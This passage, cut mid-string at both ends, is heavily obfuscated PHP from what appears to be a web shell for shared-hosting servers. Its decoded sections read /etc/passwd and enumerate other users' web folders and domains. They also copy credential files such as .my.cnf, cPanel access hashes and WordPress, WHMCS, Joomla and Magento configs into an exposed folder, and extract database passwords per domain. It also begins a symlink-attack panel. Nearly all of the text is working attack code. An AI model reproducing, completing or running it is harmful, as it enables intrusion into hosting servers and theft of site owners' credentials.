"\74\x64\x69\x76\x20\143\154\141\163\163\75\47\143\x6f\114\55\x6f\x70\x74\151\157\x6e\x20\164\157\x70\x27\x3e\xa\x9\74\x66\x6f\162\155\x20\x61\143\x74\151\157\x6e\x3d\x27\77" . x7 . "\155\165\x6c\164\x69\x68\141\x73\150\46" . x5 . $dir . "\x27\40\155\x65\x74\x68\x6f\x64\75\x27\160\157\163\x74\47\x3e\xa\74\x74\x61\142\x6c\x65\40\163\x74\171\x6c\x65\75\47\167\x69\x64\x74\150\72\61\x30\60\x25\x27\76\12\11\74\x74\x64\x20\163\x74\171\154\145\x3d\x27\x77\x69\x64\164\x68\x3a\x32\x30\45\47\76\x54\145\x78\164\40\72\74\57\x74\144\76\x3c\x74\x64\40\163\x74\171\x6c\x65\x3d\47\167\151\144\164\150\x3a\x38\x30\x25\47\76\12\x9\74\x69\x6e\160\x75\164\40\x74\171\x70\145\x3d\47\x74\x65\x78\x74\47\40\156\141\x6d\x65\x3d\47\x74\145\170\164\47\40\x73\x74\x79\154\145\x3d\47\167\x69\144\x74\x68\72\x31\x30\60\45\47\76\12\74\57\164\x64\76\74\x74\x72\x3e\xa\x3c\164\144\40\x73\164\171\x6c\x65\75\x27\167\151\x64\164\150\72\62\60\45\x27\x3e\110\x61\163\150\x20\72\74\x2f\x74\x64\x3e\74\164\144\x20\x73\x74\x79\154\145\x3d\x27\x77\x69\x64\164\x68\x3a\x38\x30\45\x27\x3e\x3c\163\x65\x6c\145\143\164\x20\x6e\x61\155\x65\x3d\x27\151\144\47\40\x73\164\171\154\x65\75\x27\167\151\x64\x74\150\72\61\60\60\x25\x27\x3e\xa\x3c\x6f\x70\x74\x69\157\x6e\40\x76\x61\x6c\x75\145\75\x27\61\47\x3e\115\x64\x35\74\57\157\160\x74\x69\157\x6e\x3e\12\x3c\157\x70\164\151\157\156\x20\x76\x61\154\x75\x65\75\x27\62\x27\x3e\103\x72\x63\63\x32\74\x2f\x6f\x70\164\151\157\156\76\12\74\157\160\x74\151\157\x6e\40\x76\141\x6c\165\x65\x3d\x27\63\x27\x3e\x53\150\x61\61\74\57\157\160\x74\151\157\156\x3e\xa\74\157\160\x74\151\157\156\40\x76\141\x6c\x75\145\x3d\x27\x34\x27\76\101\x6c\x6c\74\x2f\157\160\164\151\x6f\156\x3e\12\x3c\x2f\163\145\154\x65\x63\x74\76\74\57\164\x64\x3e\x3c\164\162\76\x3c\164\x64\40\x73\164\x79\154\x65\x3d\47\167\x69\144\x74\150\x3a\x32\60\45\x27\76\74\x2f\164\x64\76\74\x74\x64\40\163\164\x79\x6c\x65\x3d\x27\167\151\144\164\x68\72\x38\x30\45\x27\76\xa\11\74\x69\156\x70\x75\164\x20\x74\x79\x70\x65\x3d\x27\163\x75\142\x6d\151\x74\47\40\x76\141\154\x75\x65\75\47\x43\x72\145\x61\x74\145\x27\x20\156\141\155\145\75\47\x65\x6e\x63\x72\171\x70\164\x27\40\x63\154\141\163\x73\x3d\47\142\164\x6e\55\x65\x78\x65\47\40\163\x74\x79\x6c\145\75\47\x77\151\x64\164\x68\x3a\x31\60\60\160\x78\x27\x3e\74\x2f\164\x64\x3e\74\57\164\141\142\154\145\x3e\74\57\x66\x6f\162\x6d\76\74\57\144\151\166\x3e\74\x2f\144\151\166\76"; break; case "\x6a\165\x6d\160\151\x6e\147": echo "\x3c\x64\151\x76\x20\x63\x6c\x61\x73\x73\x3d\x22\x63\x6f\x4c\55\160\141\156\145\154\42\76\x3c\164\x61\x62\154\x65\x3e\12\74\164\144\40\143\154\141\163\x73\x3d\x22\x74\x64\55\x70\141\x6e\x65\x6c\42\76\x3c\143\x65\156\x74\x65\x72\76\74\144\x69\x76\x20\143\x6c\141\163\x73\x3d\42\154\x6f\141\144\145\162\42\x3e\74\x2f\144\151\x76\x3e\74\57\x63\145\x6e\x74\145\162\x3e\x3c\57\164\144\x3e\74\x74\144\40\143\x6c\141\163\x73\75\42\164\x64\x2d\x70\x61\156\x65\154\x2d\x72\x69\x67\x68\x74\42\x3e\x4a\x55\x4d\120\111\116\x47\40\123\105\x52\x56\105\x52\x3c\57\164\x64\76\x3c\x2f\x74\141\142\154\145\76\74\x2f\x64\151\166\x3e"; $i = 0; $s_a = fopen("\57\145\x74\143\57\160\141\x73\x73\x77\x64", "\162"); while ($s_b = fgets($s_a)) { if ($s_b == '' || !$s_a) { bacot("\103\141\x6e\x27\x74\40\122\145\x61\x64\40\133\x20\57\x65\x74\143\x2f\160\x61\163\163\167\x64\40\x5d"); mtr("\x3f" . x5 . $dir); echo x9; } else { preg_match_all("\x2f\x28\56\x2a\x3f\x29\72\170\72\x2f", $s_b, $s_c); foreach ($s_c[1] as $s_d) { $s_e = "\57\x68\x6f\x6d\x65\x2f{$s_d}\x2f\160\x75\x62\x6c\x69\x63\137\x68\x74\x6d\x6c"; if (is_readable($s_e)) { $i++; $s_o = "\x3c\144\x69\x76\x20\x63\154\141\x73\x73\75\x27\x63\157\x4c\x2d\x6f\160\164\x69\157\x6e\x27\x3e\x3c\x74\141\x62\154\x65\x20\143\154\141\x73\163\75\x27\164\x61\142\x6c\x65\55\x66\151\154\145\47\x20\143\145\154\154\163\x70\141\x63\x69\x6e\x67\75\x27\x30\x27\76\x3c\164\144\x20\163\x74\171\x6c\145\75\x27\x77\x69\x64\x74\x68\72\61\62\x30\x70\x78\x27\x20\143\x6c\141\x73\x73\x3d\47\x74\144\x2d\x66\x69\154\145\47\40\163\x74\x79\x6c\145\75\47\x70\x61\144\x64\x69\156\x67\x3a\x37\x70\170\47\76\40\x20\x3c\x61\40\150\162\x65\146\x3d\x27\77\144\x69\162\75{$s_e}\47\76\74\x73\x70\x61\156\40\143\x6c\141\163\163\75\47\x6c\x61\x62\145\x6c\55\x73\165\143\143\x65\x73\x73\47\x3e\x20\x3c\x69\40\x63\154\141\163\x73\x3d\x27\x7a\155\x64\151\40\172\155\x64\x69\x2d\146\x6f\154\144\145\x72\55\157\x75\x74\154\151\156\145\x20\172\x6d\144\x69\55\x68\x63\55\x66\x77\47\x3e\74\57\151\76\x20\74\57\x73\x70\141\156\x3e\x20\x5b\40{$s_d}\40\x5d\x3c\57\x61\76\x3c\x2f\164\144\x3e"; switch (true) { case is_writable($s_e): $s_o = "\x3c\144\151\166\x20\143\x6c\x61\163\163\x3d\x27\143\157\114\x2d\157\160\164\x69\157\156\47\76\74\164\141\142\x6c\145\x20\x63\x6c\141\163\x73\75\x27\164\x61\142\154\x65\55\146\x69\154\x65\47\40\x63\145\154\154\163\160\x61\143\x69\x6e\x67\75\47\x30\47\x3e\x3c\164\x64\40\163\164\x79\154\145\x3d\47\x77\x69\144\x74\x68\x3a\x31\62\60\x70\170\x27\40\143\x6c\x61\x73\163\x3d\x27\164\144\x2d\x66\x69\x6c\145\x27\40\163\164\171\x6c\x65\x3d\x27\160\x61\144\x64\x69\156\x67\x3a\67\160\170\47\76\x20\74\163\160\x61\156\x20\143\154\141\x73\163\x3d\x27\154\x61\x62\x65\x6c\55\x73\x75\143\143\145\x73\x73\47\76\40\x3c\151\x20\x63\154\x61\163\x73\75\47\x7a\155\x64\x69\40\172\x6d\144\151\x2d\x66\x6f\154\144\x65\x72\x2d\157\x75\164\154\151\156\145\40\x7a\x6d\x64\151\55\150\143\55\146\x77\47\76\74\x2f\151\x3e\40\74\x2f\163\160\141\x6e\76\40\x3c\141\x20\150\162\145\146\x3d\x27\x3f\144\x69\162\75{$s_e}\47\x3e\74\x66\157\156\164\40\143\157\154\157\162\75\x27\162\x65\144\x27\x3e\x5b\x20{$s_d}\x20\x5d\x3c\x2f\x66\x6f\156\x74\x3e\x3c\x2f\x61\x3e\x3c\x2f\164\x64\76"; } echo $s_o; $s_k = file_get_contents("\57\145\x74\143\57\x6e\141\x6d\x65\144\56\143\157\x6e\x66"); if ($s_k == '') { bacot("\123\145\162\x76\x65\x72\40\116\x6f\164\x20\106\157\x75\x6e\x64\x20\41\x21"); mtr("\x3f" . x5 . $dir); echo x9; } else { preg_match_all("\43\57\x76\x61\x72\57\x6e\x61\x6d\x65\144\57\50\56\x2a\77\x29\56\144\x62\x23", $s_k, $s_v); foreach ($s_v[1] as $s_x) { $s_g = posix_getpwuid(@fileowner("\57\145\164\x63\x2f\166\x61\154\151\x61\163\x65\x73\57{$s_x}")); $s_g = $s_g["\x6e\x61\155\x65"]; if ($s_g == $s_d) { echo "\x3c\x74\144\x20\x63\154\x61\x73\x73\x3d\x27\x74\144\55\x66\x69\154\145\x20\x65\x6c\151\160\47\x20\163\164\x79\154\145\x3d\x27\x70\x61\144\x64\x69\x6e\x67\x3a\x37\160\x78\47\x3e\x3c\x61\40\x68\x72\x65\146\75\x27\x68\x74\164\160\72\57\x2f{$s_x}\x27\76\150\x74\164\x70\x3a\57\57{$s_x}\x3c\57\x61\x3e\x20\x3c\x2f\164\x64\76\74\57\164\141\x62\x6c\x65\x3e\74\x2f\144\x69\166\x3e"; break; } } } } } } } switch ($i) { case 0: mtr("\x3f\40" . x5 . $dir); bacot("\x53\145\162\x76\x65\x72\x20\156\x6f\164\x20\x66\x6f\165\156\x64"); print x9; break; default: print "\x3c\144\151\166\x20\x63\154\x61\x73\x73\75\x27\143\x6f\114\55\157\160\164\x69\x6f\x6e\47\40\163\164\x79\154\x65\75\x27\x70\141\x64\144\x69\156\147\x3a\67\160\x78\73\155\x61\162\x67\151\156\55\164\x6f\x70\72\x33\x70\x78\47\x3e\x54\157\x74\x61\x6c\40\x3a\x20\74\x62\x75\x74\164\157\156\40\x63\x6c\x61\163\163\75\x27\154\141\167\x62\47\40\163\164\x79\x6c\145\75\x27\x77\x69\144\x74\150\72\x36\x30\160\170\x3b\160\157\x73\x69\x74\151\157\156\x3a\162\x65\154\x61\164\151\166\x65\x3b\x74\x6f\160\x3a\60\x70\170\47\x3e" . $i . "\x3c\x2f\x62\x75\x74\x74\x6f\x6e\x3e\74\57\144\151\x76\x3e\74\57\144\151\166\x3e"; } break; case "\143\157\x6e\x66\151\147": $s_t = fopen("\57\x65\x74\143\57\160\141\x73\x73\167\144", "\x72"); $s_z = mkdir("\137\x63\157\x6e\x66\151\x67", 511); $s_s = "\x4f\160\x74\x69\157\x6e\x73\x20\x61\154\x6c\x5c\156\x52\145\161\x75\x69\162\x65\40\116\x6f\156\145\x5c\x6e\x53\141\x74\x69\163\146\171\40\101\x6e\x79"; $s_d = fopen("\137\x63\x6f\x6e\146\x69\147\57\56\150\x74\x61\143\x63\x65\x73\x73", "\167"); fwrite($s_d, $s_s); while ($s_q = fgets($s_t)) { if ($s_q == '' || !$s_t) { bacot("\x43\x61\156\x27\164\x20\x52\x65\141\x64\40\145\164\143\x2f\x70\141\163\163\167\144\x20\x21\41"); } else { preg_match_all("\57\50\56\52\77\51\x3a\x78\72\57", $s_q, $s_y); foreach ($s_y[1] as $s_p) { $s_k = "\x2f\x68\x6f\155\x65\57{$s_p}\57\x70\x75\142\x6c\151\143\x5f\x68\164\155\x6c\x2f"; if (is_readable($s_k)) { $s_g = array("\x2f\150\157\x6d\x65\57{$s_p}\57\56\x6d\x79\x2e\143\x6e\146" => "\x63\x70\x61\156\145\x6c", "\x2f\x68\157\x6d\x65\57{$s_p}\x2f\56\141\143\143\145\x73\163\x68\x61\163\x68" => "\127\110\115\55\141\x63\x63\x65\163\x73\x68\x61\x73\x68", "\57\x68\x6f\155\x65\x2f{$s_p}\x2f\x70\x75\x62\154\x69\x63\x5f\x68\x74\x6d\154\57\x62\167\55\x63\x6f\156\146\151\147\x73\57\143\x6f\156\x66\151\147\56\x69\156\x69" => "\102\157\x73\127\145\x62", "\x2f\x68\x6f\155\x65\57{$s_p}\x2f\x70\x75\142\154\x69\143\x5f\x68\x74\x6d\x6c\x2f\143\157\156\x66\151\147\57\x6b\x6f\156\x65\x6b\163\151\56\160\x68\x70" => "\x4c\x6f\x6b\x6f\x6d\x65\x64\151\141", "\x2f\x68\x6f\155\x65\57{$s_p}\57\160\x75\x62\154\151\143\x5f\x68\164\x6d\x6c\57\x6c\x6f\x6b\x6f\155\145\144\151\x61\x2f\143\157\x6e\146\151\x67\57\x6b\x6f\x6e\145\x6b\x73\x69\x2e\160\150\x70" => "\x4c\x6f\x6b\157\x6d\145\x64\151\x61", "\57\x68\157\155\145\57{$s_p}\x2f\160\165\x62\x6c\x69\143\x5f\150\164\155\154\57\143\x6c\151\145\156\164\x61\162\145\x61\x2f\x63\157\156\x66\x69\x67\x75\162\x61\164\x69\x6f\156\x2e\160\150\x70" => "\x57\x48\x4d\103\x53", "\x2f\150\157\x6d\145\57{$s_p}\57\x70\165\142\154\x69\143\137\x68\164\155\154\57\167\150\155\x2f\x63\x6f\x6e\x66\151\x67\x75\x72\141\164\151\x6f\156\x2e\160\150\x70" => "\x57\x48\115\103\x53", "\x2f\x68\157\155\145\57{$s_p}\57\160\165\x62\x6c\x69\x63\137\x68\x74\x6d\x6c\57\167\x68\x6d\143\x73\x2f\x63\x6f\156\146\x69\147\x75\x72\x61\164\151\157\x6e\56\160\x68\x70" => "\x57\110\115\x43\x53", "\x2f\x68\157\155\145\57{$s_p}\57\160\165\142\154\151\x63\137\x68\x74\x6d\154\x2f\146\157\162\x75\155\57\143\x6f\156\146\151\x67\x2e\x70\x68\160" => "\x70\x68\x70\x42\102", "\57\150\157\155\145\57{$s_p}\x2f\160\x75\x62\x6c\151\143\137\x68\164\x6d\154\57\x73\x69\164\145\163\x2f\x64\x65\146\x61\165\x6c\164\57\163\145\x74\x74\x69\x6e\x67\163\56\x70\x68\x70" => "\x44\x72\x75\160\141\154", "\57\150\x6f\155\145\57{$s_p}\x2f\x70\165\142\154\x69\143\x5f\150\164\155\x6c\57\x63\157\x6e\146\151\x67\57\163\x65\x74\x74\x69\156\x67\163\x2e\x69\x6e\x63\x2e\160\x68\160" => "\x50\162\145\x73\x74\141\x53\x68\157\x70", "\57\x68\157\x6d\x65\x2f{$s_p}\57\160\x75\x62\154\151\143\137\150\164\x6d\154\x2f\141\160\160\x2f\x65\x74\143\x2f\154\x6f\143\141\154\56\170\155\x6c" => "\115\141\147\145\156\x74\x6f", "\x2f\150\x6f\155\x65\x2f{$s_p}\x2f\x70\165\142\154\151\x63\137\150\x74\x6d\x6c\x2f\152\x6f\x6f\155\x6c\x61\x2f\x63\157\156\x66\151\x67\165\162\141\164\x69\x6f\156\x2e\x70\x68\x70" => "\x4a\157\157\155\154\x61", "\x2f\x68\x6f\155\145\x2f{$s_p}\57\160\165\x62\154\151\143\137\x68\164\155\154\57\143\157\156\x66\x69\x67\165\x72\x61\x74\x69\x6f\156\x2e\x70\150\x70" => "\112\x6f\157\155\x6c\x61", "\x2f\x68\157\x6d\145\x2f{$s_p}\57\x70\x75\142\154\x69\x63\137\150\164\155\x6c\57\167\160\57\167\x70\x2d\x63\x6f\x6e\x66\151\x67\56\160\150\x70" => "\x57\157\x72\144\120\x72\x65\163\163", "\x2f\x68\x6f\x6d\x65\57{$s_p}\x2f\160\165\142\x6c\151\143\x5f\150\x74\155\154\x2f\x77\x6f\x72\144\x70\162\145\163\163\x2f\167\160\x2d\143\x6f\x6e\x66\151\147\56\160\x68\160" => "\127\x6f\x72\x64\120\162\145\x73\163", "\x2f\150\157\x6d\145\x2f{$s_p}\x2f\160\x75\142\154\151\x63\137\x68\x74\155\x6c\57\x77\x70\55\143\157\156\x66\x69\147\56\160\150\160" => "\127\157\x72\x64\x50\x72\x65\163\x73", "\57\150\x6f\x6d\x65\x2f{$s_p}\x2f\x70\165\142\154\x69\143\137\x68\164\x6d\154\57\141\144\155\151\156\57\143\157\x6e\146\x69\147\56\x70\150\x70" => "\x4f\160\145\x6e\x43\141\162\164", "\57\150\x6f\155\145\x2f{$s_p}\x2f\160\165\x62\x6c\x69\143\x5f\150\x74\x6d\x6c\x2f\x73\x6c\x63\x6f\156\x66\x69\147\56\160\150\x70" => "\123\151\x74\145\154\157\153", "\x2f\x68\x6f\x6d\145\57{$s_p}\x2f\160\165\142\154\151\x63\137\x68\x74\155\x6c\57\141\160\160\x6c\x69\143\141\164\151\x6f\x6e\57\x63\157\x6e\x66\x69\x67\x2f\x64\x61\x74\141\142\x61\x73\145\x2e\x70\x68\160" => "\x45\154\x6c\x69\163\x6c\x61\142"); foreach ($s_g as $s_h => $s_l) { $s_r = file_get_contents($s_h); if ($s_r == '') { print x9; } else { $fcS = fopen("\x5f\x63\x6f\156\x66\151\x67\57{$s_p}\x2d{$s_l}\56\x74\x78\x74", "\167"); fputs($fcS, $s_r); } } } } } } bacot("\x44\157\x6e\145"); print "\74\163\x63\162\x69\160\164\76\143\x28\47\x3f" . x5 . $dir . "\x2f\x5f\143\x6f\x6e\x66\x69\147\x27\51\x3b\74\57\163\143\162\x69\x70\164\76"; break; case "\143\160\x61\x6e\145\x6c": print "\74\144\151\166\x20\x63\154\x61\163\163\75\x22\143\x6f\114\55\160\x61\x6e\x65\x6c\x22\76\74\x74\141\142\x6c\x65\76\74\x74\x64\40\x63\154\141\x73\163\75\x22\164\144\55\x70\141\x6e\x65\x6c\42\x3e\74\x63\145\x6e\x74\145\162\x3e\x3c\x64\x69\166\40\x63\154\x61\x73\163\75\x22\x6c\x6f\141\144\x65\162\x22\x3e\74\x2f\x64\x69\x76\x3e\74\x2f\143\x65\x6e\164\x65\x72\x3e\74\x2f\164\144\76\74\164\144\40\143\x6c\141\x73\163\75\42\164\144\x2d\x70\x61\156\145\x6c\x2d\162\x69\147\x68\x74\42\x3e\103\120\x41\x4e\x45\x4c\x20\x46\x49\x4e\x44\105\x52\74\x2f\x74\x64\x3e\74\x2f\x74\x61\x62\154\145\76\x3c\57\144\x69\x76\76"; function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1) { $ar0 = explode($marqueurDebutLien, $text); $ar1 = explode($marqueurFinLien, $ar0[$i]); return trim($ar1[0]); } $d0mains = @file("\57\x65\x74\x63\57\x6e\x61\x6d\145\x64\x2e\143\x6f\156\x66"); switch (true) { case $domains or $d0mains: switch (true) { case scandir("\x2f\166\x61\162\x2f\156\141\x6d\145\144"): print "\74\x74\x61\x62\x6c\x65\x3e\x3c\164\x68\x20\x63\x6c\141\x73\163\75\x27\x74\x68\x2d\x66\x69\x6c\145\x27\x3e\40\x3c\143\145\x6e\164\x65\162\76\x44\157\155\x61\151\156\x3c\57\x63\145\x6e\164\x65\162\76\40\x3c\x2f\x74\150\76\x3c\x74\x68\40\143\154\141\163\x73\75\47\x74\150\55\146\x69\154\145\x27\76\x20\x3c\143\x65\156\x74\x65\162\76\122\145\163\x75\x6c\164\x3c\x2f\x63\x65\156\x74\145\x72\76\x3c\57\x74\x68\x3e\x3c\x2f\x74\x72\x3e"; $count = 1; $dc = 0; $list = scandir("\57\166\x61\x72\x2f\156\x61\x6d\145\x64"); foreach ($list as $domain) { switch (true) { case strpos($domain, "\56\144\142"): $domain = str_replace("\x2e\144\x62", '', $domain); $owner = posix_getpwuid(fileowner("\x2f\x65\x74\x63\57\166\141\x6c\151\x61\x73\x65\163\57" . $domain)); $dirz = "\x2f\150\157\155\145\x2f" . $owner["\x6e\141\155\x65"] . "\x2f\56\x6d\171\56\143\x6e\x66"; $path = getcwd(); switch (true) { case is_readable($dirz): copy($dirz, '' . $path . "\57" . $owner["\x6e\141\155\x65"] . "\56\x74\x78\x74"); $p = file_get_contents('' . $path . "\x2f" . $owner["\x6e\141\155\x65"] . "\x2e\164\x78\164"); $password = entre2v2($p, "\160\141\x73\x73\x77\x6f\x72\144\x3d\42", "\42"); print "\74\164\162\76\xa\x3c\164\x64\40\143\x6c\x61\x73\163\x3d\47\164\144\55\x66\151\x6c\145\x27\x20\x73\x74\x79\154\x65\x3d\47\167\x69\144\164\150\72\x31\x35\x30\x70\x78\47\76\x3c\x61\40\150\x72\x65\x66\75\47\x68\x74\164\160\x3a\x2f\x2f" . $domain . "\72\62\60\70\x32\47\x20\164\141\162\147\x65\x74\75\47\x5f\x62\x6c\141\x6e\x6b\47\x3e" . $domain . "\74\57\x61\76\74\x2f\164\144\x3e\12\74\164\144\40\x63\154\x61\163\163\75\47\164\x64\55\146\x69\x6c\x65\x27\76\x3c\x61\40\143\x6c\141\x73\x73\x3d\x27\x61\47\40\x68\162\x65\146\75\47" . $owner["\x6e\141\x6d\145"] . "\56\164\170\x74\x27\x20\164\141\162\147\x65\164\75\x27\137\142\154\141\156\153\47\76\x4f\120\x45\x4e\74\x2f\141\76\x3c\x2f\x74\144\x3e\74\57\x74\x72\x3e"; $dc++; } } } print "\x3c\57\x74\x61\142\x6c\145\x3e"; $total = $dc; print "\74\144\151\166\x20\x63\154\x61\x73\x73\75\x27\143\157\x4c\55\x6f\x70\x74\x69\x6f\x6e\47\x20\x73\164\171\154\x65\x3d\x27\160\141\144\144\151\x6e\x67\72\x37\160\170\x3b\155\141\x72\x67\151\x6e\55\x74\x6f\x70\x3a\x33\160\x78\47\76\124\x6f\164\x61\154\40\x43\160\141\x6e\x65\x6c\x20\72\40\74\x62\165\164\164\157\156\x20\143\154\141\x73\163\75\x27\x6c\x61\167\x62\x27\40\163\164\171\154\x65\x3d\47\167\x69\x64\x74\x68\x3a\66\x30\160\170\73\x70\157\163\151\164\151\x6f\x6e\x3a\162\x65\x6c\x61\164\151\166\x65\x3b\x74\x6f\x70\72\x30\x70\x78\x27\x3e" . $total . "\74\57\142\x75\164\x74\x6f\156\x3e\74\x2f\x64\151\x76\76\74\x2f\144\x69\166\x3e"; break; default: $d0mains = @file("\57\x65\x74\143\57\156\x61\155\145\144\56\x63\157\x6e\146"); if ($d0mains) { print "\x3c\x74\141\142\154\x65\x3e\x3c\164\162\x3e\74\164\x68\x20\x63\154\141\163\x73\75\47\x74\150\55\146\x69\154\145\x27\76\x20\x3c\143\145\156\164\145\162\x3e\104\157\x6d\141\x69\x6e\x3c\x2f\x63\145\x6e\x74\x65\x72\x3e\x20\74\57\x74\150\76\74\164\150\x20\x63\154\141\x73\163\75\x27\x74\x68\55\x66\151\154\x65\x27\76\x20\74\143\145\156\164\x65\x72\76\x52\x65\163\x75\x6c\164\74\57\143\145\x6e\x74\x65\162\x3e\40\x3c\57\164\150\76\74\57\x74\x72\76"; $count = 1; $dc = 0; $mck = array(); foreach ($d0mains as $d0main) { switch (true) { case @eregi("\x7a\x6f\x6e\x65", $d0main): preg_match_all("\x23\172\157\x6e\x65\x20\42\x28\56\52\51\x22\43", $d0main, $domain); flush(); switch (true) { case strlen(trim($domain[1][0])) > 2: $mck[] = $domain[1][0]; } } } $mck = array_unique($mck); $usr = array(); $dmn = array(); foreach ($mck as $o) { $files = @posix_getpwuid(fileowner("\x2f\x65\x74\143\x2f\x76\141\154\151\x61\x73\x65\x73\x2f" . $o)); $usr[] = $files["\x6e\141\155\x65"]; $dmn[] = $o; } array_multisort($usr, $dmn); $dt = file("\x2f\145\164\143\57\160\x61\163\163\167\144"); $passwd = array(); foreach ($dt as $d) { $r = explode("\72", $d); switch (true) { case strpos($r[5], "\150\x6f\x6d\145"): $passwd[$r[0]] = $r[5]; } } $l = 0; $j = 1; foreach ($usr as $r) { $dirz = "\x2f\x68\x6f\x6d\x65\57" . $r . "\57\56\x6d\x79\56\x63\156\x66"; $path = getcwd(); switch (true) { case is_readable($dirz): copy($dirz, $path . "\x2f" . $r . "\56\x74\x78\x74"); $p = file_get_contents($path . "\57" . $r . "\56\164\x78\x74"); $password = entre2v2($p, "\160\x61\163\163\167\157\x72\144\x3d\x22", "\x22"); print "\74\x74\x72\76\12\x9\74\164\144\40\x63\154\x61\x73\x73\x3d\x27\164\144\x2d\146\x69\x6c\x65\47\76\x3c\x61\x20\x74\x61\162\147\x65\x74\75\47\x5f\x62\154\141\156\x6b\47\40\x68\x72\x65\x66\75\x68\x74\164\x70\72\x2f\57" . $dmn[$j - 1] . "\x2f\x3e" . $dmn[$j - 1] . "\40\74\x2f\141\x3e\74\57\164\x64\76\12\11\x3c\x74\x64\x20\143\x6c\x61\163\163\75\47\x74\x64\55\146\151\x6c\x65\47\76\74\141\40\150\x72\x65\x66\75\47" . $r . "\x2e\164\170\x74\x27\76\x4f\x50\105\x4e\x3c\57\x61\x3e\x20\x3c\x2f\143\x65\x6e\164\145\162\x3e\74\57\164\144\x3e\74\x2f\x74\162\76"; $dc++; flush(); $l = $l ? 0 : 1; $j++; } } } print "\74\57\x74\x61\142\x6c\x65\x3e"; $total = $dc; print "\74\x64\x69\166\40\143\154\x61\163\163\75\x27\143\157\x4c\55\157\160\164\151\x6f\x6e\x27\40\x73\x74\171\154\x65\75\47\160\141\x64\144\x69\x6e\147\x3a\67\x70\x78\73\x6d\x61\162\147\x69\156\55\x74\x6f\x70\72\x33\x70\170\x27\76\x54\157\164\141\x6c\40\103\160\141\156\x65\x6c\x20\72\40\x3c\142\165\x74\x74\157\156\x20\x63\x6c\x61\x73\x73\75\47\154\141\x77\142\47\40\x73\x74\x79\154\x65\75\x27\x77\151\x64\164\x68\72\x36\60\x70\x78\x3b\x70\157\x73\151\164\151\x6f\156\x3a\162\145\x6c\x61\x74\151\166\x65\x3b\164\157\160\x3a\60\x70\x78\47\76" . $total . "\x3c\x2f\142\165\164\x74\x6f\x6e\76\x3c\x2f\144\151\166\x3e\74\x2f\x64\x69\166\76"; } break; default: mtr("\x3f" . x5 . $dir); bacot("\x50\x65\162\155\151\x73\163\x69\157\156\40\x64\x65\156\151\145\x64"); print x9; } break; case "\163\x79\x6d\154\x69\156\153": print "\74\x64\151\166\40\143\154\x61\x73\x73\x3d\42\x63\157\x4c\55\160\x61\156\x65\x6c\42\76\74\x74\141\142\154\145\x3e\xa\x3c\164\x64\x20\143\154\141\x73\163\x3d\42\x74\144\x2d\x70\141\x6e\145\154\42\x3e\74\x63\145\156\164\x65\162\76\x3c\x64\151\166\40\143\154\x61\x73\x73\75\42\154\x6f\x61\x64\145\x72\42\76\74\x2f\x64\151\x76\x3e\74\x2f\143\x65\x6e\x74\145\162\76\x3c\x2f\x74\x64\x3e\x3c\164\x64\40\143\x6c\141\x73\x73\x3d\x22\x74\144\x2d\x70\x61\x6e\x65\x6c\x2d\x72\x69\147\x68\164\x22\x3e\x4d\125\114\x54\x49\120\x4c\x45\40\123\x59\x4d\x4c\x49\x4e\x4b\x3c\57\x74\144\x3e\74\x2f\x74\141\x62\154\x65\76\x3c\x2f\x64\x69\x76\x3e"; switch (true) { case is_readable("\x2f\145\x74\143\57\x6e\x61\155\145\144\x2e\x63\157\x6e\146"): $named = "\74\x61\40\150\162\145\146\75\x22\x3f" . x7 . "\156\141\x6d\x65\x64\x2e\143\x6f\x6e\146\x26\144\x69\x72\x3d" . $dir . "\42\76\x4f\120\x45\x4e\x3c\x2f\141\x3e"; break; default: $named = "\74\146\x6f\156\164\40\x63\157\x6c\x6f\162\x3d\x22\162\145\x64\42\x3e\x44\111\123\101\x42\114\105\x44\74\57\x66\157\156\164\x3e"; } switch (true) { case is_readable("\57\x65\x74\x63\x2f\x76\141\x6c\x69\x61\163\145\163"): $valiases = "\74\141\40\150\x72\x65\x66\x3d\x22\x3f" . x7 . "\x76\x61\x6c\x69\x61\x73\145\x73\x26\x64\151\x72\x3d" . $dir . "\x22\x3e\117\x50\105\116\74\57\x61\x3e"; break; default: $valiases = "\x3c\x66\x6f\x6e\x74\x20\x63\x6f\154\x6f\162\x3d\x22\162\x65\144\42\76\104\111\x53\x41\x42\114\105\x44\74\x2f\146\157\x6e\164\x3e"; } switch (true) { case is_readable("\x2f\145\164\143\x2f\x70\x61\163\163\x77\x64"): $passwd = "\x3c\141\40\150\x72\x65\146\75\x22\77" . x7 . "\160\x61\x73\x73\167\x64\x26\144\151\x72\75" . $dir . "\x22\x3e\x4f\x50\x45\x4e\x3c\57\141\76"; break; default: $passwd = "\x3c\x66\157\156\164\x20\143\x6f\154\157\x72\x3d\x22\x72\145\144\x22\x3e\x44\111\123\101\x42\114\x45\104\x3c\57\x66\x6f\x6e\164\76"; } switch (true) { case is_readable("\57\x76\x61\162\x2f\156\141\x6d\145\x64"): $var = "\x3c\x61\x20\150\162\x65\x66\75\x22\x3f" . x7 . "\166\x61\x72\x26\144\151\162\x3d" . $dir . "\42\76\x4f\120\x45\116\74\57\141\x3e"; break; default: $var = "\x3c\146\157\156\164\x20\x63\157\154\157\x72\x3d\42\x72\x65\x64\42\x3e\x44\x49\x53\101\x42\x4c\x45\x44\x3c\x2f\x66\x6f\156\x74\x3e"; } print "\x3c\164\x61\x62\154\145\40\x63\154\x61\163\163\75\42\164\141\142\154\x65\x2d\146\151\x6c\145\x22\x20\x63\x65\154\x6c\163\x70\141\x63\151\156\147\75\x22\x30\x22\x3e"; print "\x3c\x74\150\40\143\154\x61\x73\x73\x3d\x22\164\x68\55\x66\x69\154\x65\42\x3e\x46\x72\x6f\x6d\x3c\x2f\164\x68\x3e\74\164\x68\x20\x63\x6c\141\163\x73\x3d\x22\x74\150\x2d\x66\x69\154\145\42\x3e\x41\x72\x72\157\x77\x3c\57\164\150\x3e\x3c\x74\x68\x20\143\x6c\x61\x73\163\x3d\42\x74\x68\55\x66\x69\x6c\x65\42\76\x41\143\164\x69\x6f\156\74\57\x74\150\76"; print 